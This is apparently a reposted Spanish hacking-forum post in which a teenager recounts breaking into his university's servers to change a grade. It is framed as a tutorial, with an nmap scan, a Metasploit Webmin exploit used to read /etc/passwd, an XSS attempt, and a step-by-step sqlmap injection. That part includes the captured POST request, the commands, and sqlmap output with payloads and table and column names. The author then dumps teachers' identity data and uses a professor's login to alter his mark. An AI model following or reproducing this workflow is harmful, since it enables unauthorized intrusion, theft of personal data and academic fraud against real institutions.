Hackeando mi universidad (Historía + Técnicas)
El caso...hoy les traigo un post,entrada,tema como os quieran llamarlo
hoy las cosas se tornan diferentes o bueno hace un año cuando a mis 15
años entro a la universidad a estudiar lo que siempre me gustó la
informática .desde cambiar un fondo de pantalla hasta cualquier cosa que
se me atravesaba en mi camino...pero bueno en la
secundaria(bachillerato) no me enseñaban todo lo que yo quería saber
pues al menos más haya de usar Word y Ppoint ustedes saben..lo ultimo en
tecnología.xD...el ultimo año en el colegio empece a leer sobre la
seguridad informática y ya sabia algo del misterioso Linux/GNU, como
buen niño empece a ver cuanta película de hackers había para haber si
lograba algún día ser uno..pero cuando estaba acabando el colegio me di
cuenta que la única forma...no de ser hacker ni eso..si no de aprender
algo es sencillamente intentando cosas que no tienen nada que ver con
ello...tal vez suene raro yo también lo pensé por que alguna vez lo leí
en un periódico ..pero tal vez soy solo yo..ustedes verán que quieren
aprender yo aun aprendo..la cuestión es saber que es lo que quieres
aprender.
Llegamos a la universidad:
30
de Febrero.....nah..por fin entrare a estudiar lo que me gusta
Informática....no diré la carrera por que no cambiará nada el caso es
que bueno conocí mucha gente..lo normal tanto amigos muy buenos..y
profesores muy mala clase pero..hubo algo..esa condenada profesora...la
de diagramación de sistemas....esa tipa si que me jodió tal vez fue por
que la corregí en algo que no era que lo supiera simplemente la lógica
hace su trabajo....igual ..me termino rompiendo los huevos...así que
dije a lo muy lammer...voy a hackear la universidad y así ingreso a las
notas de los profesores y arreglo mi nota por que no me la merecía me
quería poner un 3 que es lo mínimo para pasar la materia.
Resulta
que empece a buscar como "juakiar" y cosas así hasta que me encontré
con Backtrack ..y pues bueno empece a apasionarme por la SI mucho mucho y
hoy les vengo a mostrar como lo hice
Analizando el objetivo:
No dire el nombre de la u por motivos de seguridad..
Bueno
ya que no sabia un carajo que era lo que iba a hacer empece simplemente
mirando el archivo robots.txt era lo poco que había aprendido de
"hacking" en lo que llevaba el semestre..el caso es que me encuentro con
esto:
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html
User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /images/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /libraries/
Disallow: /logs/
Disallow: /media/
Disallow: /modules/
Disallow: /plugins/
Disallow: /templates/
Disallow: /tmp/
No sabia que eran las carpetas pero cuando leí administrador me creí un
dios de las computadoras..Kevin Mintick se quedo en parvulos....pronto
me di cuenta que era una estupidez .-. ingrese la url mas el
/administrator y o sorpresa un admin panel de joomla.
Inmediatamente
empece a buscar en google sobre joomla..que era para que se usaba...
después de aclarar eso empezaron las búsquedas de vulnerabilidades ya
que para mi esto era un concepto claro."si encuentras que algo es
vulnerable por su versión cabe la posibilidad de explotar la misma y
hacerte a su poder"
En mi esperanza por encontrar el programa
mágico que lo hiciera no logre nada me desmoralice por no poder avanzar y
lo deje por un mes..solo seguí estudiando.
Poco después me
carcomió la cabeza el tema del hacking de nuevo y esta vez fue enserio
empece a leer en foros..nunca me registre en uno además de este hace
solo un mes....vi vídeos..y leí la teoría pronto el mapa se aclaraba y
poco a poco sabia que hacer para atacar y llegar al éxito.
Solo que aún no sabia que lo lograría.....
Comenzó el segundo semestre...
...y
yo ya tenia recién instalado mi flamante backtrack así que mire los
menúes de las apps que traía y empece a averiguar una por una en
google..los tutoriales simplemente estaban allí y yo nunca me detuve
antes a verlos por mi inmadurez...(pero aun tenes 16)..lo se pero ya
aprendí que para saber ahí que leer y mucho!
Empece a Metasploit...la navaja suiza...y bueno lo de siempre un escaneo en nmap me diría contra que estoy jugando.
nmap ipuniversidad -v -p 1-65535
ya saben.....la p es por el rango de puertos nunca sabes que puede haber
mas arriba del puerto 8000 y el verbose (v) ...me gusta ver que pasa a
cada instante.
Y se empezaron a aclarar las cosas....
El escaneo arrojo las siguientes cosas...
Pero
mi objetivo nunca fue un defacement o apoderarme de alguna maquina...ya
que las tenia todos los semestres a mi disposición sin embargo tal vez
el registro de notas estaba alojado en la misma página donde estaba la
pagina web .
Así que era hora de usar metasploit haber si se podia hacer algo .
Metasploit time!
Habia un puerto ssh..lo intente....no funciono.
El 53 solo se podia acceder desde una maquina en la intranet
El puerto 80 dahh solo me redirigia al login de joomla....
Pero el puerto 10000 me dio una grata sorpresa con mi metasploit....
SI!
habia un exploit justo para webmin..para los que no saben que es...es
muy sencillo un panel de administracion web para sistemas basados en
linux.
Listo era cuestion de setear las variables y ver que habia :)
Lo logre....aun no lo creia tenia acceso a todos los directorios del servidor...solo podia leer datos :( pero pues era ya un avance Entre a ver que habia en etc/passwd
Si ! ahí estaban los usuarios del server pero ningun codigo del SIGA :( :)
El sitio fue mio por un mes mas o menos..antes de que le dijiera al
admin yo aun no habia logrado mi cometido...cambiar mi nota..ya que al
parecer el server de notas estaba en otra parte.solo las podia
consultar..y donde lo hacia pues en el SIGA(software integrado de
gestion academica) una plataforma web para estudiantes(ver notas,pagar
el semestre y pedir tutorias)...y el de los profesores....(cambio de
notas)!!
Encontrando bichos raros.----
este es el panel del siga
Como siempre entre a mi siga a ver que habia para hacer o que se podia hacer
El acceso era muy simple el numero del estudiante que eras más el año un ejemplo:
20121245
Y la pass era el documento de identidad
Y entre como de costumbre!
Habia
algo aqui un xss persistente...pero solo lo podia ver yo en esa
casilla donde dice"que opinas del siga " lo que se escribia se
actualizaba en la parte que decia opinion así que cuando me di cuenta
dije pues hacer la prueba entonces intente insertar lo de simpre una
imagen:
Pero al parecer esta casilla tiene filtros pero no tenia limite de caracteres así que procedi a encodear mi xss haber que pasaba...esta pagina es muy buena..<img src="afsgsgsgs.jpg">
http://evuln.com/tools/xss-encoder/
Listo!
Se hace la magia.
Daba igual no me servia para un carajo!
Pero fue divertido xD
INYECTANDO FELICIDAD
Empece
a navegar por la web haber si encontraba algun path vulnerable a SQLi
ya saben index.php?id= o algo asi pero el administrador tampoco era tan
n00b así que hizo que la url fuera parecida a esta así los
ScriptKiddies no joderian mucho...
Pero para un vivo como el admin ahi otra más vivo aún xD
Al ser joomla las paginas por lo general se cargan así:
donde id es un numero que es consultado en una base de datos que a su ves arroja lo correspondiente.
Entonces construi esta url por mi cuenta:
Y
solo empece a cambiar el numero haber si arrojaba algo ...listo ya
tenemos otro metodo para llamar las url.....inmediantamente probe si era
vulnerable a SQLi con la clasica comilla me mando a un 404
personalizado.
Intente probar con sqlmap pero no funciono así que desistí de la inyeccion sql.
SE ESTABA ACABANDO EL SEMESTRE!!
Era
hora de que los profesores pasaran las nuevas notas así que me tenia
que apurar si no queria tener que ver de nuevo a esa profesora del
demonio!
Resulta que cada fin de semestre se hace una
autoevaluacion ...así que era obligatorio...ingresabas tu numero y
llenabas tu encuesta.
FINISH HIM!
Se me ocurrio insertar una comilla haber que pasaba y para mi grata sorpresa..
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TYPE=MyISAM CHARACTER SET `utf8`' at line 29 SQL=CREATE TABLE `jos_banner` ( `bid` int(11) NOT NULL auto_increment, `cid` int(11) NOT NULL default '0', `type` varchar(30) NOT NULL default 'banner', `name` varchar(255) NOT NULL default '', `alias` varchar(255) NOT NULL default '', `imptotal` int(11) NOT NULL default '0', `impmade` int(11) NOT NULL default '0', `clicks` int(11) NOT NULL default '0', `imageurl` varchar(100) NOT NULL default '', `clickurl` varchar(200) NOT NULL default '', `date` datetime default NULL, `showBanner` tinyint(1) NOT NULL default '0', `checked_out` tinyint(1) NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `editor` varchar(50) default NULL, `custombannercode` text,
Fuck Yeah!! pero como rayos haces una inyeccion sql dentro de una caja de texto?
Es hora de que SqlMap haga su trabajo.
Pero primero habia que ver que era lo que se enviaba
Haci que usaremos HTTP live headers para ver que pasa.
http://190.26.192.198//paquetes/autenticacion/index.php
POST //paquetes/autenticacion/index.php HTTP/1.1
Host: 190.26.192.198
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://ipuniversidad//paquetes/autenticacion/index.php?accion=InicioEncuesta
Cookie: PHPSESSID=oqaqa2oqt0jp2f9psi8j3958t5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
redirect=index.php&accion=autenticarEstudiante&usu_login_aut=MICODIGO DE ESTUDIANTE&IMAGE.x=0&IMAGE.y=0
sito nuestro parametro era "usu_login_aut" así que omo yo no voy a inyectar en la caja por que tenia limite de caracteres procedi a inyectar una sentencia sql en un metodo POST con sqlmap
Abri mi backtrack copie lo que me arrojo el HTTP live headers en un bloc de notas lo guarte y lo llame codigos.txt cualquier nombre serviria.
Procedi a abrir el sqlmap
./sqlmap -r /root/Desktop/codigos -p usu_login_aut --dbs
-r ==leer un archivo de texto
-p==especificar el parametro que se quiere inyectar
--dbs == listar bases si es inyectable
Probemos ..BOOM!
Listo el resultado arrojo lo siguiente:
[12:21:54] [INFO] reading file codigos.txt
[12:21:54] [INFO] testing connection to the target url
[12:21:55] [INFO] testing if the url is stable, wait a few seconds
[12:21:56] [INFO] url is stable
[12:21:56] [INFO] testing if POST parameter 'usu_login_aut' is dynamic
[12:21:57] [INFO] confirming that POST parameter 'usu_login_aut' is dynamic
[12:21:57] [INFO] POST parameter usu_login_aut' is dynamic
[12:21:57] [INFO] heuristic test shows that POST parameter 'usu_login_aut' might be injectable (possible DBMS: MySQL)
[12:21:57] [INFO] testing for SQL injection on POST parameter usu_login_aut'
[12:21:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:21:58] [WARNING] reflective value(s) found and filtering out
[12:21:59] [INFO] POST parameter 'usu_login_aut' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:21:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:22:00] [INFO] POST parameter 'usu_login_aut' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[12:22:00] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:22:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:22:21] [INFO] POST parameter 'usu_login_aut' is 'MySQL > 5.0.11 AND time-based blind' injectable
[12:22:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:22:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[12:22:21] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:22:24] [INFO] target url appears to have 18 columns in query
[12:22:27] [INFO] POST parameter 'usu_login_aut' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'usu_login_aut' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 26 HTTP(s) requests:
---
Place: POST
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=59 AND 9932=9932
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=59 AND (SELECT 6298 FROM(SELECT COUNT(*),CONCAT(0x3a7871723a,(SELECT (CASE WHEN (6298=6298) THEN 1 ELSE 0 END)),0x3a7474633a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 18 columns
Payload: id=59 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a7871723a,0x78544b4f706652666f69,0x3a7474633a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=59 AND SLEEP(5)
---
[12:22:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.2.13, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0
[12:22:30] [INFO] fetching database names
[12:22:30] [INFO] the SQL query used returns 3 entries
[12:22:30] [INFO] retrieved: "information_schema"
[12:22:31] [INFO] retrieved: "autoevaluacion”
available databases [2]:
[*] information_schema
[*] autoevaluacion
[12:22:31] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.universidad.edu.co'
[*] shutting down at 12:22:31
Ahora era solo listar las tablas con -D autoevaluacion --tables...
back-end DBMS: MySQL 5.0
[12:28:57] [INFO] fetching tables for database: 'autoevaluacion'
[12:28:57] [INFO] the SQL query used returns 4 entries
[12:28:57] [INFO] retrieved: "preguntas_estudiante"
[12:28:58] [INFO] retrieved: "preguntas_docente"
[12:28:58] [INFO] retrieved: "codigos_estudiante"
[12:28:59] [INFO] retrieved: "codigos_docente"
Database: autoevaluacion
[4 tables]
+--------------+
| preguntas_estudiante |
| preguntas_docente |
| codigos_estudiante |
| codigos_docente |
+-----------------------------+
LISTO TENIA ALGO LLAMADO CODIGOS DOCENTES Ahi estaba la mina de oro....
Ahora era solo listar las columnas con -D autoevaluacion -T codigos_cdocentes --columns....
[12:32:38] [INFO] fetching columns for table 'ćodigos_docentes in database 'autoevaluacion'
Database: autoevaluacion
Table: codigos_docentes
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| activo | int(11) |
| apellidos | varchar(100) |
| cargo | varchar(150) |
| ciudad | varchar(150) |
| direccion | varchar(150) |
| email | varchar(100) |
| empresa | varchar(150) |
| id | int(11) |
| login | varchar(100) |
| nombre | varchar(100) |
| pais | varchar(150) |
| telefono | varchar(150) |
| temporal | varchar(100) |
+--------------+--------------+
Listo! ahora solo seria dumpear los datos....que no mostrare aquí por razones obvias.
LO LOGRE obtuve el id y la cédula de los docentes!!!!!
Entre al panel de la profesora y cambie mi nota por un tres que era lo que al fin y al cabo me llevo a todo esto.
El resto es historia patria...aun tengo los codigos de todos pero pues es mejor estudiar juicioso.!Yo solo cambie la nota por que no la merecia xD
Al admin le comente y ya cerro la web de la encuesta...eso fue todo y no me critiquen dan duro xD
Hice mi mejor esfuerzo
Saludos CARPE DIEM
Fuente: http://www.hackxcrack.es/
Hackeando mi universidad (Historía + Técnicas)
Reviewed by Zion3R
on
19:37
Rating: